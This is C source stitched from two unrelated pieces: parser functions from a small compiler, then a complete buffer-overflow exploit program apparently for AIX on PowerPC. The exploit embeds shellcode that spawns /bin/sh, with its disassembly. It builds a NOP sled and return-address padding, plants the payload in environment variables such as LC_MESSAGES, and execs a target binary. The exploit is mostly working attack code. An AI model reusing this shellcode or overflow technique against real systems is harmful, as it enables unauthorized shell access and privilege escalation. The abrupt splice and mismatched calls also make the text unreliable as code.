void vardef(symbol_t t, symbol_t id){
while(1){
createvar(t, id);
if(sym->type!=COMMA)break;
nextSym();
if(sym->type!=ID){
msg(ERR, "unexpected \',\' or missing a identifier", line);
ERROR_STATUS = 1;
}
mfree(id);
id = copySym(sym);
nextSym();
}
mfree(id);
}
void funcdef(symbol_t t, symbol_t id){
symbol_t pt, pid;
ident_t np;
func_t f;
if(findTable(global, (char*)(id->value))){
msg(ERR, "identifier redefinition", line);
ERROR_STATUS = 1;
do
id->value = (int)ccstrcat((char*)(id->value), '@');
while(findTable(global, (char*)(id->value)));
}
f = createFunc();
f->local = createTable();
np = createid(FUNC, translate(t->type), (char*)(id->value), 0);
if(!np){
msg(ERR, "identifier redefinition", line);
ERROR_STATUS = 1;
exit(0);
}
np->extra = (void*)f;
context = f;
if(sym->type!=RPAREN){
while(1){
if(!isType(sym)){
msg(ERR, "missing a type name for param", line);
}
pt = copySym(sym);
nextSym();
if(sym->type!=ID){
msg(ERR, "missing a identifier after a type name", line);
}
pid = copySym(sym);
if((np=createvar(pt, pid))==0){
msg(ERR, "identifier redefinition", line);
}
addparam(f, np);
np->loc = LOC_PARAM;
mfree(pt);mfree(pid);
nextSym();
if(sym->type!=COMMA)break;
nextSym();
}
}
if(sym->type!=RPAREN){
msg(ERR, "missing \')\'", line);
}
nextSym();
if(sym->type!=LBRACE){
msg(ERR, "missing \'{\'", line);
}
nextSym();
body();
if(t->type==VOID)
gen(RET, 0, 0, 0);
if(sym->type!=RBRACE){
msg(ERR, "missing \'}\'", line);
}
context = 0;
nextSym();
}
/*The program*/
main(int argc,char **argv,char **env)
{
/*The code*/
unsigned int code[]={
0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
0x7c0903a6 , 0x4e800420, 0x0
};
/* disassembly
7c0802a6 mfspr r0,LR
9421fbb0 stu SP,-1104(SP) --get stack
90010458 st r0,1112(SP)
3c60f019 cau r3,r0,0xf019 --CTR
60632c48 lis r3,r3,11336 --CTR
90610440 st r3,1088(SP)
3c60d002 cau r3,r0,0xd002 --TOC
60634c0c lis r3,r3,19468 --TOC
90610444 st r3,1092(SP)
3c602f62 cau r3,r0,0x2f62 --'/bin/sh\x01'
6063696e lis r3,r3,26990
90610438 st r3,1080(SP)
3c602f73 cau r3,r0,0x2f73
60636801 lis r3,r3,26625
3863ffff addi r3,r3,-1
9061043c st r3,1084(SP) --terminate with 0
30610438 lis r3,SP,1080
7c842278 xor r4,r4,r4 --argv=NULL
80410440 lwz RTOC,1088(SP)
80010444 lwz r0,1092(SP) --jump
7c0903a6 mtspr CTR,r0
4e800420 bctr --jump
*/
#define MAXBUF 600
unsigned int buf[MAXBUF];
unsigned int frame[MAXBUF];
unsigned int i,nop,mn;
int max;
int QUIET=0;
int dobuf=0;
char VAR[30]="LC_MESSAGES";
unsigned int toc;
unsigned int eco;
unsigned int *pt;
char *t;
int egg=1;
int ch;
unsigned int reta; /* return address */
int corr=4604;
char *args[4];
char *newenv[8];
int justframes=1;
int startwith=0;
mn=78;
max=100;
if (argc>1)
corr = atoi(argv[1]);
pt=(unsigned *) &execv;
toc=*(pt+1);
eco=*pt;
if ( ((mn+strlen((char*)&code)/4)>max) || (max>MAXBUF) )
{
perror("Bad parameters");
exit(1);
}
#define OO 7
*((unsigned short *)code + OO + 2)=(unsigned short) (toc & 0x0000ffff);
*((unsigned short *)code + OO)=(unsigned short) ((toc >> 16) &
0x0000ffff);
*((unsigned short *)code + OO + 8 )=(unsigned short) (eco & 0x0000ffff);
*((unsigned short *)code + OO + 6 )=(unsigned short) ((eco >> 16) &
0x0000ffff);
reta=startwith ? (unsigned) &buf[mn]+corr : (unsigned)&buf[0]+corr;
for(nop=0;nop<mn;nop++)
buf[nop]=startwith ? reta : 0x4ffffb82; /*NOP*/
strcpy((char*)&buf[nop],(char*)&code);
i=nop+strlen( (char*) &code)/4-1;
if( !(reta & 0xff) || !(reta && 0xff00) || !(reta && 0xff0000)
|| !(reta && 0xff000000))
{
perror("Return address has zero");exit(5);
}
while(i++<max)
buf[i]=reta;
buf[i]=0;
for(i=0;i<max-1;i++)
frame[i]=reta;
frame[i]=0;
if(QUIET) {puts((char*)&buf);fflush(stdout);exit(0);};
puts("Start...");/*Here we go*/
newenv[0]=createvar("EGGSHEL",(char*)&buf[0]);
newenv[1]=createvar("EGGSHE2",(char*)&buf[0]);
newenv[2]=createvar("EGGSHE3",(char*)&buf[0]);
newenv[3]=createvar("EGGSHE4",(char*)&buf[0]);
newenv[4]=createvar("DISPLAY",getenv("DISPLAY"));
newenv[5]=VAR[0] ? createvar(VAR,justframes ? (char*)&frame :
(char*)&buf):NULL;
newenv[6]=NULL;
args[0]=prog2;
execve(prog,args,newenv);
perror("Error executing execve \n");
/* Georgi Guninski
[email protected]
[email protected]
[email protected]
http://www.geocities.com/ResearchTriangle/1711
*/
}
